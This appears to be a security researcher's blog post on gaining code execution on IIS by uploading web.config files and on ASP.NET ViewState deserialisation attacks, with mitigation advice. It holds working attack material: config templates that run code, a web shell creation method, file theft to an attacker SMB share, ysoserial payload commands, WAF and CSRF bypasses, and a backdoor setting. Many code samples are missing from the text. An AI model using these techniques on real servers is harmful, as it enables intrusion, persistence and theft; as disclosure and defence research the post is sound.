COVID-19 has sadly affected many if not all of us. I hope everyone remains safe and we can all carry on the normal life we had before this crisis. Hopefully I can then publish more blog posts here as well.
This is the second part of my Uploading web.config For Fun and Profit! I wrote the original blog post back in 2014  in which I had described a method to run ASP classic code as well as performing stored XSS attacks only by uploading a web.config file.
In this blog post, as well as focusing on running the web.config file itself, I have covered other techniques that can come in handy when uploading a web.config in an application on IIS. My main goal is to execute code or commands on the server using a web.config file and have added more techniques for stored XSS as well.
The techniques described here have been divided into two major groups depending on whether a web.config file can be uploaded in an application root or in a subfolder/virtual directory. Please see  if you are not familiar with virtual directory and application terms in IIS. Another blog post of mine can also be helpful to identify a virtual directory or an application during a blackbox assessment .
1. Execute command using web.config in the root or an application directory
This method can be very destructive where an application already uses a web.config file that is going to be replaced with ours which might not have all the required settings such as the database connection string or some valid assembly references. It is recommended to not use this technique on live websites when an application might have used a web.config file which is going to be replaced. IIS applications that are inside other applications or virtual directories might not use a web.config file and are generally safer candidates than website’s root directory. The following screenshot shows an example of an internal application anotherapp inside the testwebconfig application which is also inside the Default Web Site.
There are many methods that can be used to execute commands
on a server if the web.config file within the root directory of an application
can be modified.
I have included four interesting examples in this blog posts which are as follows.
1.1. Executing web.config as an ASPX page
This is very similar to  but as we are uploading a web.config file within the root directory of an application, we have more control and we can use the managed handlers to run a web.config file as an ASPX page. The following web.config file shows an example:
<?xml version="1.0" encoding="UTF-8"?>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" />
<add name="web_config-Classic" path="web.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />
<remove fileExtension=".config" />
<remove segment="web.config" />
<validation validateIntegratedModeConfiguration="false" />
<buildProviders> <add extension=".config" type="System.Web.Compilation.PageBuildProvider" /> </buildProviders>
<add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*" />
<!-- ASP.NET code comes here! It should not include HTML comment closing tag and double dashes!
' it is running the ASP code if you can see 3 by opening the web.config file!
It is then possible to browse the web.config file to run it as an ASP.NET page. Obviously the XML contents will also be accessible from the web. Perhaps it is just easier to upload another file with an allowed extension such as a .config, .jpg or .txt file and run that as a .aspx page.
1.2. Running command using AspNetCoreModule
It is also possible to run a command using the ASP.NET Core Module as shown below:
After uploading the web.config file and setting up the payload page on a remote server, attackers can send the following HTTP request to run their code and command on the server:
POST /testwebconfig/Authentication_JSON_AppService.axd/login HTTP/1.1
It should be noted that Profile_JSON_AppService.axd or Role_JSON_AppService.axd might come in handy here as well but they need to be enabled in web.config and a suitable method needs to be called to trigger the deserialisation process.
2. Execute command using web.config in a subfolder/virtual directory
A web.config file in a virtual directory is more limited than a web.config in the root of an application folder. Some of the useful sections or properties that can be abused to execute commands such as AspNetCoreModule, machineKey, buildProviders and httpHandlers cannot be used in a web.config which is in a subfolder.
In my previous related blog post back in 2014 , I had found a method to run a web.config file as an ASP file when ISAPI modules were allowed to be used in a virtual directory. It looks like this:
<?xml version="1.0" encoding="UTF-8"?>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
<remove fileExtension=".config" />
<remove segment="web.config" />
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
' it is running the ASP code if you can see 3 by opening the web.config file!
Other modules such as the ones used for PHP can also be used similarly when they are allowed. However, it is often not possible to run anything but .NET code when an IIS application has been configured properly. As a result, I am introducing a few more techniques for this purpose.
2.1. Abusing the compilerOptions attribute
I am going to use the following web.config file as my base template:
These commands can generally be found in the .NET folder. For .NET v4 the folder would be:
The value of the compilerOptions attribute in the above web.config template file will be added to the compiler commands as an argument. Multiple arguments can be provided using white space characters.
When no option is provided for the compiler command, the value of the compilerOptions attribute will be treated as a file name for the compiler to compile.
The # character will terminate the command and an @ character will load another file as described in .
If we could find a method to execute command when compiling a C#, VB.NET, or Jscript.NET file, we could easily exploit this by compiling an additional file perhaps from a remote shared drive or a previously uploaded static file. However, I could not find anything whilst doing my research on this. Please let me know if you know a trick and I will add it here!
Important note: It should be noted that if ASP.NET pages exist in the same folder that a web.config file is being uploaded to, they will stop working using the examples which I am providing here as we are changing the compilation process. Therefore, if you have only one shot in uploading a web.config file and you cannot rewrite it again, you should be absolutely certain about your approach and perhaps completely avoid this on a live application where it cannot be safely uploaded in an empty folder.
2.1.1. Creating a web shell
The following string shows the compilerOptions attribute that can be used to create a dirty web shell with some binary data in a web directory:
After browsing the web.config file with the above setting, a binary file with the webshell.aspx name will be created in the requested path. Knowledge of the application path on the server is important here. It is possible to reveal the application path simply by causing an error when error messages within the ASP.NET Yellow Screen of Death (YSOD) are displayed. It is recommended to create an error in another file rather than the web.config file itself but if you can modify it later, here is a web.config file that simply shows an error:
The web shell should also be created outside of where our web.config file has been uploaded unless it is possible to change the web.config file after creating the web shell to remove the compilerOptions attribute to allow the normal compilation process.
It should be noted that the code within the webshell.txt will be embedded in the middle of the webshell.aspx which contains binary data. As this is not a clean copy of the webshell, it can be used as the first stage of gaining access.
What if SMB is not reachable:
Where the target cannot communicate via SMB, it is possible to upload the web shell with an allowed extension to include it in the /resource option:
After opening an existing ASP.NET page in the upload folder, this creates the test.pdb and test.bin files in the shared folder that includes the win.ini file. This can especially be useful to steal the application’s web.config file as it may contain sensitive data such as the machine key that can lead to remote code execution straight away .
2.1.4. Stealing more data about the app
The following string shows the compilerOptions attribute:
This would load the webshell.aspx file from a SMB share and would execute it when opening any existing ASMX files in that folder.
It is also possible to remap the .master and .ascx extensions to act like ASMX files to take them over as well. The chance of uploading these files is higher than other ASP.NET extensions such as .aspx, .asmx, .ashx, .svc, and .soap that can also be taken over using the same technique.
The following web.config file shows an example that can take over multiple file extensions:
It might be difficult to use this technique when SMB has been blocked as the file extension in the href attribute of the wsdlHelpGenerator element matters .
2.3. Stored XSS
It is also possible to create stored XSS. This might be useful when other methods do not work for any reasons.
A few methods of making the application vulnerable to XSS via uploading a web.config file was discussed in . For example, when some files are allowed to be downloaded, it is possible to easily exploit this for XSS by manipulating the mimetypes. The following example shows how a .txt file could be run as a .html file:
In this blog post, two new ASP.NET handlers have also been identified that can be used for this purpose.
2.3.1. Using StateApplication hanlder
The StateApplication handler is an internal class within the System.Web.SessionState namespace that is used for caching and is not supposed to be called directly from user code. It can be abused to replace response of any exiting files with an arbitrary text.
The following web.config file shows an example with which the response of web.config is being replaced with an XSS payload:
In order to create multiple XSS payloads using the same name, additional parameters can be added to the URL. For example:
2.3.2. Using DiscoveryRequestHandler hanlder
It should be noted that an XML file with a valid DynamicDiscoveryDocument type cannot be used for XSS as it will be used to search the current directory to discover existing web services instead. For curious readers, an example of valid file content was:
The first line of defence is to validate the filenames, extensions, and contents using a whitelist approach. This can be done by allowing only appropriate file extensions and to check the file contents to ensure they use a valid format. More recommendation can be seen on the OWASP website .
Another classic recommendation is to save the files outside of a web directory or in the database. A more secure way these days can be to store uploaded files in the cloud such as in Amazon S3. You have to make sure that access control checks are appropriate and working, and the implementation will not cause other security issues such as insecure object reference (IDOR) or path manipulations.
Using appropriate HTTP headers can also prevent cross-site content hijacking attacks (see ).
The following recommendations can also make the attacks via uploading web.config files harder:
applications can make it more difficult for script kiddies to attack your
Ensure that there is no
write permission on the existing files within the web application including
web.config files especially outside of the upload directory
Monitor creation of any
dynamic files on the website to detect potential attacks
If you do not have access to the code, cannot change file permissions, or cannot alter how the application works, you can still use a web.config file in the application path or in the root of the website to mitigate some attacks that can happen by uploading a web.config file:
If possible, ensure that the web.config files in virtual directories are disabled and cannot be used. This can be done by changing the allowSubDirConfig attributes within the applicationHost.config file which is normally located at C:\Windows\System32\inetsrv\Config\ (see  for more details)
Sensitive web.config elements that should not be changed by other web.config files in subdirectories should also be protected. This can be done using the allowOverride attribute or locking features within a web.config file (see  and  for more details). The following web.config file shows an example that can be used in the parent directory to lock certain sections that were abused in this research:
This section basically covers what I did during the research
to find the capabilities explained above. Although this might be the most
boring part of this write-up, I think it can be useful for someone who wants to
continue this research.
Finding how you can run code and command when a web.config
can be in the root of an IIS application was the easiest part as I could just
use documented web.config capabilities and my previous research.
However, exploring new methods when a web.config file is being uploaded in a subfolder -which is the most common case- required a lot more work.
4.1. Requirements and resources
The main resources of my research apart from time were ASP.NET Framework source code, Visual Studio, Sysinternals Process Monitor, dnSpy, Telerik JustDecompile, IIS web server, Kali Linux, and countless amount of Googling!
I used the Kali Linux mainly for having an easy unauthenticated SMB share that I could read/write from/to. The /etc/samba/smb.conf file that finally worked for me with SMB v3 support was:
#workgroup = WORKGROUP
#server string = Samba Server XYZ
#netbios name = someRandomUbuntu
#security = user
map to guest = Bad User
#dns proxy = no
log file = /var/log/samba/%m
log level = 1
server min protocol = SMB3
client min protocol = SMB3
client max protocol = SMB3
path = /tmp/smbshare/
writable = yes
guest ok = yes
read only = no
browsable = yes
create mode = 0777
directory mode = 0777
# force user = nobody
4.2. Compiler options
When abusing the compiler options, we are basically passing our arguments to a compiler (csc.exe, vbc.exe, or jsc.exe) inside a file that has been passed via the @ character. Although command injection comes to mind straight away, it did not work and I could not run another command using it.
There are two possible avenues that can lead to command execution easier than what I have found in this research:
Code execution when a specific
file is being compiled
Finding an argument that
can in turn run code or command
I failed to find anything that can work here. The -analyzer option sounded very promising for the C# Compiler but it was missing from the csc.exe file that was executed by .NET.
4.3. Exploring new handlers
As it can be seen in this blog post, identifying all HTTP handlers that can be processed within the web.config file was very important. This was done by searching classes that implemented IHttpHandler, IHttpHandlerFactory, and IHttpHandlerFactory2.
Here is how you can see them easily in the browser (thanks to Microsoft!):
It should be noted that sometimes new handlers could also be derived from the implementations. However, the behaviour was normally quite the same with minimal changes.
4.3.1. Handlers limit in a subfolder
ASP.NET uses file extensions to detect their types and if it cannot get the proper type that for example is needed for a web service, it requires a new extension to be add to the buildProviders element. However, the buildProviders element can only be set by the applications otherwise it will show the following error:
The element 'buildProviders' cannot be defined below the application level.
This protection has been coded within the PostDeserialize() method of CompilationSection.cs in .NET Framework rather than being in the machine.config file:
There are ways to execute command on an IIS using extensions that are predefined but the focus of this research was to use new extensions that are likely to be allowed to be uploaded.
The predefined list of buildProviders can be seen in the main web.config within the ASP.NET configuration folder (e.g. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config).
4.4. Temporary and compiled files
Temporary and compiled files are normally copied into a temporary directory within .NET Framework for example:
C:\Windows\Microsoft.NET\Framework64\[version]\Temporary ASP.NET Files\[appname]\[hash]\[hash]
Some of these files will be removed immediately and the easiest way for me to monitor them all was to remove the delete permission of all users on the temporary directory that my application used. This can be easily restored when it is not needed anymore.
We can create files there, we should be able to replace existing files of that application to execute code on the server in theory. In practice, all these files are using a random value in their name and they need to be stolen using for example 8.3 filenames to be analysed. I have not studied when .NET Framework creates new DLL files but in theory it should be possible to rewrite these existing DLL files to take over existing .NET files anywhere on the application.
ASP.NET web applications use ViewState in order to maintain a page state and persist data in a web form. The ViewState parameter is a base64 serialised parameter that is normally sent via a hidden parameter called __VIEWSTATE with a POST request. This parameter is deserialised on the server-side to retrieve the data.
It is normally possible to run code on a web server where a
valid ViewState can be forged. This can be done when the MAC validation feature
has been disabled or by knowing the:
Validation key and its
algorithm prior to .NET Framework version 4.5
Validation key, validation
algorithm, decryption key, and decryption algorithm in .NET Framework version
4.5 or above
In order to prevent manipulation attacks, .NET Framework can sign and encrypt the ViewState that has been serialised using the LosFormatter class . It then verifies the signature using the message authentication code (MAC) validation mechanism. The ObjectStateFormatter class  performs the signing, encryption, and verification tasks. The keys required to perform the signing and/or encryption mechanism can be stored in the machineKey section of the web.config (application level) or machine.config (machine level) files. This is normally the case when multiple web servers are used to serve the same application often behind a load balancer in a Web Farm or cluster. The following shows the machineKey section’s format in a configuration file of an ASP.NET application that uses .NET Framework version 2.0 or above:
In the past, it was possible to disable the MAC validation simply by setting the enableViewStateMac property to False. Microsoft released a patch in September 2014  to enforce the MAC validation by ignoring this property in all versions of .NET Framework. Although some of us might believe that “the ViewState MAC can no longer be disabled” , it is still possible to disable the MAC validation feature by setting the AspNetEnforceViewStateMac registry key to zero in:
Using this undocumented setting (see ) is as simple as using the old enableViewStateMac property! This was identified by reviewing the .NET Framework source code . The following comment was also found in the code: “DevDiv #461378: EnableViewStateMac=false can lead to remote code execution” .
Before December 2013 when most of us did not know about the danger of remote code execution via deserialisation issues in ViewState, the main impacts of disabling the MAC validation were as follows (see ):
Setting arbitrary values in the controls
Changing the control state
Performing cross-site scripting (XSS) attacks
At the time of writing this blog post, the following well
known web application scanners had rated the “ASP.NET ViewState without MAC
enabled” vulnerability with low and medium severity which shows the lack of
awareness in this area:
When ViewState MAC validation has been disabled, the YSoSerial.Net project  can be used to generate LosFormatter payloads as the ViewState in order to run arbitrary code on the server.
Prior to the .NET Framework version 4.5, the __VIEWSTATE
parameter could be encrypted whilst the MAC validation feature was disabled. It
should be noted that most scanners do not attempt to send an unencrypted
ViewState parameter to identify this vulnerability. As a result, manual testing
is required to check whether the MAC validation is disabled when the __VIEWSTATE
parameter has been encrypted. This can be checked by sending a short random
base64 string in the __VIEWSTATE parameter. The following URL shows an
If the target page responds with an error, the MAC
validation feature has been disabled otherwise it would have suppressed the MAC
validation error message. If a POST request is used, the __VIEWSTATE
parameter should be in the body of the request.
The above test case works even when it is not possible to
see the details of error messages (so it is not possible to look for “Validation
of viewstate MAC failed”). However, when the ViewStateUserKey
property has been used, the page would not ignore the errors, and without
seeing the actual error message, it is hard to say whether the MAC validation
has been disabled.
As the targeted box might not send any requests externally, automated
scanners should use a payload that causes a short delay on the server-side.
This can be achieved by executing the following ASP.NET code as an example to create
a 10-second delay:
The above code could be executed using the ActivitySurrogateSelector gadget of YSoSerial.Net. Modifying other gadgets can be useful if a shorter payload
is required. For instance, the xaml_payload variable in the TextFormattingRunProperties
gadget can be changed to:
Knowledge of used validation and
decryption keys and algorithms within the machineKey
section of the configuration files (web.config or machine.config)
is required when the MAC validation feature is enabled. As mentioned
previously, this is the default configuration for all .NET Framework versions
since September 2014. The following machineKey section shows
It should be noted that when a machineKey section has not been defined within the configuration files or when the validationKey and decryptionKey attributes have been set to AutoGenerate, the application generates the required values dynamically based on a cryptographically random secret. The algorithms can also be selected automatically. Currently in the latest version of .NET Framework, the default validation algorithm is HMACSHA256 and the default decryption algorithm is AES. See  for more details.
The way .NET Framework signs and encrypts the serialised objects has been updated since version 4.5. As a result, knowing the targeted application’s framework version is important to create a valid payload. The following machineKey section shows an example that chooses .NET Framework version 4.5 or above (also see ):
In older versions (prior to 4.5), .NET Framework uses the TemplateSourceDirectory property  when signing a serialised object. Since version 4.5 however, it uses the Purpose strings in order to create the hash. Both of these mechanisms require the target path from the root of the application directory and the page name. These parameters can be extracted from the URL.
Applications that use an older framework
and enforce ViewState encryption can still accept a signed ViewState without encryption.
This means that knowing the validation key and its algorithm is enough to
exploit a website. It seems ViewState is encrypted by default since version 4.5
even when the viewStateEncryptionMode property has been set to Never.
This means that in the latest .NET Framework versions the decryption key and
its algorithm are also required in order to create a payload.
The ASP.NET ViewState contains a property called ViewStateUserKey that can be used to mitigate risks of cross-site request forgery (CSRF) attacks . Value of the ViewStateUserKey property (when it is not null) is also used during the ViewState signing process. Although not knowing the value of this parameter can stop our attack, its value can often be found in the cookies or in a hidden input parameter ( shows an implemented example).
YSoSerial.Net Plugin to the Rescue!
I have created the ViewState YSoSerial.Net plugin in order to create ViewState payloads when the MAC validation is enabled and we know the secrets. It supports the main and v2 branches (, ).
This plugin supports the following arguments:
--examples to show a few examples. Other parameters will be
-g, --gadget=VALUE a gadget chain that supports LosFormatter.
-c, --command=VALUE the command suitable for the used gadget (will
be ignored for ActivitySurrogateSelector)
--upayload=VALUE the unsigned LosFormatter payload in (base64
encoded). The gadget and command parameters will
--generator=VALUE the __VIEWSTATEGENERATOR value which is in HEX,
useful for .NET <= 4.0. When not empty, 'legacy'
will be used and 'path' and 'apppath' will be
--path=VALUE the target web page. example: /app/folder1/pag-
--apppath=VALUE the application path. this is needed in order to
--islegacy when provided, it uses the legacy algorithm
suitable for .NET 4.0 and below
--isencrypted this will be used when the legacy algorithm is
used to bypass WAFs
this to set the ViewStateUserKey parameter that
sometimes used as the anti-CSRF token
--decryptionalg=VALUE the encryption algorithm can be set to DES,
3DES, AES. Default: AES
--decryptionkey=VALUE this is the decryptionKey attribute from
machineKey in the web.config file
--validationalg=VALUE the validation algorithm can be set to SHA1,
HMACSHA256, HMACSHA384, HMACSHA512, MD5, 3DES,
AES. Default: HMACSHA256
--validationkey=VALUE this is the validationKey attribute from
machineKey in the web.config file
--isdebug to show useful debugging messages!
A few examples to create a ViewState payload are as follows.
It uses the ActivitySurrogateSelector gadget by default
that requires compiling the ExploitClass.cs class in YSoSerial.Net project. The
ViewState payload can also be encrypted to avoid WAFs when the decryptionKey
value is known:
.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
The ViewStateUserKey parameter can also be provided as an
As mentioned previously, it is important to find the root of
the application path in order to create a valid ViewState unless:
The application uses .NET
Framework version 4.0 or below; and
parameter is known.
In this case, the --generator argument can be used. The --isdebug
argument can be used to check whether the plugin also calculates the same __VIEWSTATEGENERATOR parameter when the --path and --apppath arguments have
The created plugin handles the requirement when it needs to
be all in lowercase or uppercase automatically. The following URL shows an
ASP.NET page as an example to make this clearer:
If we did not know that “app2” was an application name, we
could use trial and error to test all the directory names in the URL one by one
until finding a ViewState that can execute code on the server (perhaps by
getting a DNS request or causing a delay).
Note: Due to the nature of used gadgets in
YSoSerial.Net, the target ASP.NET page always responds with an error even when
an exploit has been executed successfully on the server-side.
Exploiting Older Versions
No gadget was identified to exploit .NET Framework v1.1 at
the time of writing this blog post.
In order to exploit applications that use .NET Framework v4.0 or below, the YSoSerial.Net v2.0 branch  can be used (this was originally developed as part of another research ). However, this project only supports a limited number of gadgets, and also requires the target box to have .NET Framework 3.5 or above installed. Although this is not ideal, it was tested on an outdated Windows 2003 box that had the following packages installed which is very common:
Additional Tips for Testers
Using GET requests
It is also possible to send the __VIEWSTATE
parameter in the URL via a GET request. The only limiting factor is the URL
length that limits the type of gadgets that can be used here. During this research,
I managed to use the TextFormattingRunProperties gadget in YSoSerial.Net to exploit
an application by sending the payload in the URL.
Encryption in .NET Framework prior to version 4.5
As mentioned previously,
the __VIEWSTATE parameter does not need to be encrypted when
exploiting .NET Framework 4.0 and below (tested on v2.0 through v4.0) even when
property has been set to Always. ASP.NET decides
whether or not the ViewState has been encrypted by finding the __VIEWSTATEENCRYPTED
parameter in the request (it does not need to have any value). Therefore, it is
possible to send an unencrypted ViewStated by removing the __VIEWSTATEENCRYPTED
parameter from the request.
This also means that changing the decryption key or its
algorithm cannot stop the attacks when the validation key and its algorithm
have been stolen.
The __VIEWSTATE parameter can be encrypted in order to
bypass any WAFs though.
Bypassing anti-CSRF (anti-XSRF) mechanism
An ASP.NET page produces an error when an invalid __VIEWSTATE
parameter is used. However, the page can still receive its inputs when Request.Form
is used directly in the code for example by using Request.Form["txtMyInput"]
rather than txtMyInput.Text. The CSRF attack can be achieved by
removing the __VIEWSTATE parameter from the request or by adding the __PREVIOUSPAGE
parameter with an invalid value. As the __PREVIOUSPAGE parameter is
encrypted and base64 formatted by default, even providing a single character as
its value should cause an error.
This might result in bypassing the anti-CSRF protection
mechanism that has been implemented by setting the Page.ViewStateUserKey
Usage of the ViewStateGenerator parameter
When the __VIEWSTATEGENERATOR
parameter is known, it can be used for the ASP.NET applications that use .NET
Framework version 4.0 or below in order to sign a serialised object without
knowing the application path.
ViewState chunking to bypass WAFs
It is possible to
break the __VIEWSTATE parameter into multiple
parts when the MaxPageStateFieldLength property has been set to a positive value. Its default value is negative
and it means that the __VIEWSTATE parameter cannot be broken into multiple parts.
This might be
useful to bypass some WAFs when ViewState chunking is allowed.
Exploiting the EventValidation parameter
The __EVENTVALIDATION parameter and a few other parameters are
also serialised similar to the __VIEWSTATE parameter and can be targeted similarly.
Exploiting a deserialisation issue via __EVENTVALIDATION is more restricted and requires:
A POST request
An ASP.NET page that accepts input parameters
A valid input parameter name. For example, the myinput parameter in the POST request when we have the following code on the server-side:
<asp:TextBox runat="server" ID="myinput" />
of the __VIEWSTATE
parameter can be empty in the request when exploiting the __EVENTVALIDATION parameter but it needs to exist.
The Purpose string that is used by .NET Framework 4.5 and above to create a valid
signature is different based on the used parameter. The following table shows
the defined Purpose strings
in .NET Framework:
P3 in P1|P2|P3|P4 in
“__gv” + ClientID + “__hidden”
P4 in P1|P2|P3|P4 in
“__gv” + ClientID + “__hidden”
The table above shows all input parameters that could be targeted.
Beware of the PreviousPage parameter
When the __PREVIOUSPAGE parameter
exists in the request with invalid data, the application does not deserialise
parameter. Providing the __CALLBACKID parameter prevents
Web.Config as a backdoor
If attackers can change the web.config
within the root of an application, they can easily run code on the server.
However, embedding a stealthy backdoor on the application might be a good
choice for an attacker. This can be done by disabling the MAC validation and
setting the viewStateEncryptionMode property to Always.
This means that all ASP.NET pages that do not set the ViewStateEncryptionMode
property to Auto or Never always use
encrypted ViewState parameters. However, as the ViewState do not use the MAC
validation feature, they are now vulnerable to remote code execution via
deserialising untrusted data. The following shows an example:
Another option for a stand-alone website would be to set the
section with arbitrary keys and algorithms to stop other attackers!
Disabling the ViewState
It should be noted that setting the EnableViewState
property to False does not stop this attack
as the ViewState will still be parsed by ASP.NET.
As explained previously, we sometimes use errors to check whether a generated ViewState is valid. ASP.NET does not show the MAC validation error by default when an invalid __VIEWSTATEGENERATOR parameter is used. This behaviour changes when the ViewStateUserKey property is used, as ASP.NET will not suppress the MAC validation errors anymore.
In addition to this, ASP.NET web applications can ignore the
MAC validation errors with the following setting even when the ViewStateUserKey
property is used:
This different behaviour can make the automated testing using
error messages complicated especially when custom error pages are used.
The following list shows how to mitigate risks of this
Ensure that the MAC validation is enabled.
If the ViewState parameter is only used on one machine, ensure
that the MachineKey parameters are being generated dynamically at run time per
Encrypt any sensitive parameters such as the machineKey section within the
Consider using the ViewStateUserKey
property. Its value can be consist of two parts: The first part that is used as
the anti-CSRF protection mechanism can be disclosed to the users. The second
part should be robustly random and unpredictable and remain as a secret on the
Any disclosed validation or decryption keys need to be
Ensure that custom error pages are in use and users cannot see
the actual ASP.NET error messages.
Since when do we
know about the RCE using ViewState?
Exploiting untrusted data deserialisation via the ViewState
is not a new attack. In fact, it has been known publicly for at least 5 years
at the time of writing this blog post.
There was an interesting presentation from Alexandre Herzog in November 2014 regarding exploiting the deserialisation issues in SharePoint when the MAC validation was disabled in certain pages . It seems that he had used James Forshaw’s research  to forge his exploit and reported it to Microsoft in September 2012.
Microsoft released an update for ASP.NET 4.5.2 in December 2013  to remove the ability of .NET applications to disable the MAC validation feature as it could lead to remote code execution. This patch was extended in September 2014  to cover all the versions of .NET Framework.
The easy exploitation mechanism was known publicly after Alvaro Muñoz & Oleksandr Mirosh published their gadgets in BlackHat 2017 . It was then possible to use the YSoSerial.Net project  to create the LosFormatter class payloads.
Exploiting ASP.NET web applications via ViewState has also been mentioned directly in BlueHat v17 by Jonathan Birch in November 2017 , and has also been covered by Alvaro Muñoz in the LOCOMOCO conference in April 2018 .
I might have missed some parts of the history here so please
feel free to enlighten me by leaving me a comment or message me in Twitter; I
will try to verify and publish it when I can.
It seems Immunity Canvas supports creating the ViewState parameter when the validation and encryption keys are known . The following tools were also released coincidentally at the same time as I was about to publish my work which was quite surprising:
I think these tools currently do not differentiate between
different versions of .NET Framework and target the legacy cryptography.
Additionally, they do not use the ViewStateUserKey
parameter that might be in use to stop CSRF attacks. I like the fact that the
viewgen application has been written in Python as it makes it portable to other
platforms as well as web scanners such as Burp Suite. I hope to see further
developments in these tools to support the missing features.
I confirm that I did not use any of the above tools during
this research and creation of the ViewState YSoSerial.Net plugin.
Kudos to NCC Group and my colleagues for their support
whilst performing a major part of this research.
Additional kudos to Alvaro Muñoz for his support by giving
me access to his code and helping me in updating the YSoSerial.Net project.
The following blog posts are related to this research: